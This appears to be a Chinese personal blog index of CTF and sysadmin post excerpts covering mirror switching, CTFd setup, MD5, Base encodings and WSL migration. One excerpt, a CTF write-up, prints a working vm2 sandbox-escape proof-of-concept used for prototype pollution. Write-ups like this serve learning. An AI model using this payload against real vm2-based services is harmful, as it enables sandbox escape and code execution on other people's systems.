【脚本】Linux换源汇总

由于换源需求过多,又不想每一次都上网查,于是有此博客记录不同系统换源过程
PS:为什么不能有一键换源脚本呢

Apt-get

换源方式

#备份
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
#修改源
sudo vi /etc/apt/sources.list
#更新源
sudo apt-get update
#如出现依赖问题
sudo apt-get -f install
#更新软件:
sudo apt-get upgrade

继续阅读【脚本】Linux换源汇总

【CTFd】靶场安装与配置

CTFd是githbu上开源的ctf靶场之一,配合上whale等插件,可以快速搭建一个靶场

CTFd

以下测试环境均为Ubuntu20.04,Python3.8
CTFd官网
CTFd-Github仓库
CTFd中文汉化
由于本人更喜欢汉化风格,所以使用的均为CTFd_chinese_CN下3.4.1版本的CTFd

  1. 克隆CTFd代码并安装相关依赖
    #如果空白环境
    sudo ./prepare.sh
    #如果是在宝塔环境下安装(bt自带的python会产生冲突)
    sudo apt-get --fix-broken install
    #如果已经安装好python环境(建议使用3.7)
    sudo pip install -r requirements.txt
  2. 下载CTFd_chinese_CN-v3.4.1并将CTFd目录覆盖到你的项目目录
  3. 运行,默认运行在http://127.0.0.1:4000,你可以通过更改配置文件使其监听0.0.0.0,或者使用nginx反代,此处使用后者
    #配置文件CTFd/config.ini
    python serve.py

    继续阅读【CTFd】靶场安装与配置

【脚本】安卓虚拟机配置

本文分为CM-x86和WSA(Win11安卓子系统)两部分

CM-x86

CM-x86是Android-x86的衍生版本,用作PC的安卓虚拟机再好不过
我使用的是CM-x86-14.1(64位),以下为配置
file
在安装时有以下几步

  1. GPT安装 NO
  2. 创建新磁盘(New)->设置为启动盘(bootable)->写入分区表(Write)
  3. 安装Grub引导
  4. EXT4文件格式
  5. Reboot重启即可

但是完成以上几步,只能进入到安卓的Shell模式,无法进入图形界面,可以选择下面第三个的nomodeset模式
file

继续阅读【脚本】安卓虚拟机配置

【CRYPTO】MD5算法详解

前言

MD5是一种哈希算法,用来保证信息的完整性。
就一段信息对应一个哈希值,且不能通过哈希值推出这段信息,而且还需要保证不存在任意两段不相同的信息对应同一个哈希值。
不过MD5算法算出来的值也就16byte(即128bit),肯定存在相同的,找到另一个所花时间长短而已。

填充信息

我们要对一个字符串进行MD5计算,那么肯定要从这个字符串的处理入手。
我们知道一个字符的长度是1个byte,即8bit的长度。
MD5对待加密的字符串的处理是将一个字符串分割成每512bit为一个分组,形如N*512+R,这里的R是余下的位数。这个R分为几种情况:

  • R=0时,需要补位,单补上一个512bit的分组,因为还要加入最后64个位的字符串长度。
  • R<448时,则需要补位到448位,后面添加64位的字符串长度。
  • R>448时,除了补满这一分组外,还要再补上一个512位的分组后面添加64位的原字符串长度。

补位的形式是先填充一个1,再接无数个0,直到补足512位。

举例:
消息内容为“HUANG”,就能得到以下内容

48 55 41 4E 47 80 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 [28 00 00 00 00 00 00 00]低位在左边

最后面这里有个0x28,数8个字节,就是0x0000000000000028,刚刚好是十进制的40,消息的内容是5个byte,也就是40bit
还要注意到这里是小端字节序存储

继续阅读【CRYPTO】MD5算法详解

【MISC】Wordle

TQLCTF-Wordle题目出自当下火热的填字游戏
填字游戏的规则为输入五个字母,然后分别返回五个颜色

  • 绿色:位置和字母均正确
  • 黄色:字母正确位置不正确
  • 灰色:字母和位置均不正确

我们的任务就是用最少的次数,把答案找出来
在该题目中,颜色可以通过字节流分辨出来。在这之前,我在B站大学看到过一个讲述相关技术的视频,于是我就翻了下。
利用信息论解决Wordle问题
理论存在,实践开始
于是,又写了一个10K的代码,发现自己的代码只能做到平均4.3左右。
好废物啊我
于是上Github找轮子Wordle-solver
这个开源项目能做到平均3.4,然后就有了如下10K代码

继续阅读【MISC】Wordle

【脚本】WSL数据磁盘迁移

Windows中WSL默认磁盘为C盘,这导致在安装了Docker,Kali,Ubuntu等WSL后,C盘空间不足,于是参照相应Issue有如下脚本

#以下脚本均应该在PowerShell管理员模式下运行
wsl --list -v
PS C:\Windows\system32> wsl --list -v
  NAME                   STATE           VERSION
* Ubuntu                 Running         2
  docker-desktop-data    Running         2
  docker-desktop         Running         2
  kali-linux             Stopped         2
#查看相应WSL
wsl --shutdown
#停止WSL
wsl --export Ubuntu F:\WSL\Ubuntu.tar
wsl --export docker-desktop F:\WSL\docker-desktop.tar
wsl --export docker-desktop-data F:\WSL\docker-desktop-data.tar
wsl --export kali-linux F:\WSL\kali-linux.tar
#导出WSL
wsl --unregister Ubuntu
wsl --unregister docker-desktop
wsl --unregister docker-desktop-data
wsl --unregister kali-linux
#删除对应WSL
wsl --import Ubuntu F:\WSL\Ubuntu F:\WSL\Ubuntu.tar --version 2
wsl --import docker-desktop F:\WSL\docker-desktop F:\WSL\docker-desktop.tar --version 2
wsl --import docker-desktop-data F:\WSL\docker-desktop-data F:\WSL\docker-desktop-data.tar --version 2
wsl --import kali-linux F:\WSL\kali-linux F:\WSL\kali-linux.tar --version 2
#在新位置重新导入
wsl -d Ubuntu exit
wsl -d docker-desktop exit
wsl -d docker-desktop-data exit
wsl -d kali-linux exit
#重新对应WSL
ubuntu config --default-user root
#设置Ubuntu默认用户

【脚本】NC中的SHA256解密

VNCTF-CRYPTO-ezmath是一道完全没难度的密码题,但是又是一道非常有难度的脚本题
这题只要返回4*N就好,难度就在写脚本了
在PWN等运用到nc的题目中,Sha256是最好的防止扫端口的计算方法。
由于Sha256不可逆,我们只好通过暴力或者撞库的方式找出所有解
但是这题又使用的是Sha256(????+XXXXXXXXXXXX)这样的方式,所以只好选择暴力了
再配合上pwntools,发就完事了

继续阅读【脚本】NC中的SHA256解密

【MISC】BASE系列加密解析

见到了一题比较离谱的base64题目,VNCTF2022-Web-gocalc0,可能是我太菜的原因,明明hint告诉我,flag在session里面,我却怎样都Base64出不来,一直说解密出错。
这题对于Web没有一点难度,姑且放在MISC分类里面。

Base16

使用字符:数字(0 ~ 9),字母(A ~ F)
Base16先获取输入字符串每个字节的二进制值(不足8bit在高位补0),然后将其串联进来,再按照4bit一组进行切分(2^4=16),将每组二进制数分别转换成十进制,并对应下述编码。
即二进制转十六进制,对应下表

编码 编码 编码 编码
0 0 4 4 8 8 12 C
1 1 5 5 9 9 13 D
2 2 6 6 10 A 14 E
3 3 7 7 11 B 15 F

继续阅读【MISC】BASE系列加密解析

【WEB】VM2沙箱逃逸

VM2的沙箱逃逸出自VNCTF2022-WEB-newcalc0
根据hint访问package.json

///source?path=/package.json
...
  "dependencies": {
    "express": "^4.17.1",
    "pm2": "^4.5.6",
    "vm2": "^3.9.5"
  }
...

再阅读源码,无其他位置可以注入,故寻找VM2的CVE
这里有个CVE数据库可以使用
Snyk Vulnerability Database(https://security.snyk.io/)
我们于是找到了一个VM2绕过的CVE
Sandbox Bypass Affecting VM2 versions <3.9.6
刚好VM2版本对应上了,理论存在,实践开始
由于第一个poc好像被过滤了一部分,于是直接尝试第二个

e=1;function getRootPrototype(obj) {//e=1;直接先把module.exports=处理了
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);
}
try {
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
        getRootPrototype(this);
        stack(this);
        return true;
    }), function functionInvocationAnalysis(r) {
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {
        stack(arguments);
    };
} catch (e) {
    getRootPrototype(e).prototype=[1,2,3];///根据题目要求对prototype注入,一次不行,多submit几次(50+一直点就对了),总有一次能污染到原型链
    //getRootPrototype(Object).prototype=[1,2,3];/也许也可以这样原型链污染
    module.exports=Object.keys(Object.prototype);//返回目前的prototype进行回显确认
}

再次访问/flag就出了
主要是对代码的理解,要知道哪里可以对prototype进行修改以及hint:package.json的使用
2022/2/14:复现到3点多,一次不行,多submit几次!

【MISC】图片点阵提取

在打VNCTF2022的时候遇到这样一道题,图片直接放在文章肯能看不清,各位可以点开来仔细观看

放大来看

又是点阵图,这不就是妥妥的点阵提取嘛,打开画图,量出来点之间的距离,然后开造!
结果,出来很意外,每个点之间的距离都是不一样的,都在49~51之间浮动,这就导致直接提取不能提取出有效的信息
好在,每一行每一列的点都在同一条直线上,只要求出最左上角的点,然后跑出每一行每一列的坐标,再拼接即可
拼接的话可以使用OpenCV库,但是Python的PIL(Pillow)好像更胜一筹,于是学了一下写了个脚本

from PIL import Image,ImageDraw
image = Image.open("misc-img-pixel-1.png")
Line=[]
Row=[]
black=image.getpixel((0,0))
for i in range(image.height-1):
    if(image.getpixel((24,i))!=black):
        Row.append(i)
for i in range(image.width-1):
    if(image.getpixel((i,15))!=black):
        Line.append(i)
ret = Image.new('RGB', (len(Line), len(Row)) )
draw = ImageDraw.Draw(ret)
for x in range(len(Line)-1):
    for y in range(len(Row)-1):
        draw.point((x, y), fill=image.getpixel((Line[x],Row[y]))) 
ret.show()
ret.save('result.png')

继续阅读【MISC】图片点阵提取